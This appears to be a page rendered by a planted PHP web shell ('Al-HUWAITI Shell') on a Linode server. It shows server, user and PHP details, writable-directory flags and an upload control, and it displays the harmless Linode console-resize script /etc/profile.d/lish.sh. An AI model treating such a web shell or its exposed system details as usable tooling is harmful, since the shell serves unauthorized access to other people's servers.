Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /etc/profile.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //etc/profile.d/lish.sh
# shellcheck shell=bash
####################################################################
#								   #
# This file is provided by Linode.				   #
#								   #
# In order for Lish to be able to handle screen resizes correctly, #
# we define this function to determine and set the correct	   #
# geometry and call it each time the prompt is displayed.	   #
# (only when logging in via the Lish serial console)		   #
#								   #
####################################################################

[ -z "${PS1}" ] && return
[ -z "${BASH_VERSION}" ] && return

lish_resize() {
	local IFS='[;' escape geometry x y

	# Disable echo and output ANSI terminal sequence.
	stty -echo
	echo -ne '\x1b7\x1b[r\x1b[900;900H\x1b[6n\x1b8\x1b[?7h'

	# Read the ANSI response from the terminal.
	# shellcheck disable=SC2034
	read -rsd R escape geometry

	# Columns
	x="${geometry##*;}"
	x="${x%R*}"

	# Rows
	y="${geometry%%;*}"
	y="${y#*[}"

	# Restore echo, and set columns, rows, and sane settings.
	stty sane cols "${x}" rows "${y}"
}

if [ "$(tty)" = '/dev/ttyS0' ]; then
	PROMPT_COMMAND=lish_resize
	lish_resize
fi

Al-HUWAITI Shell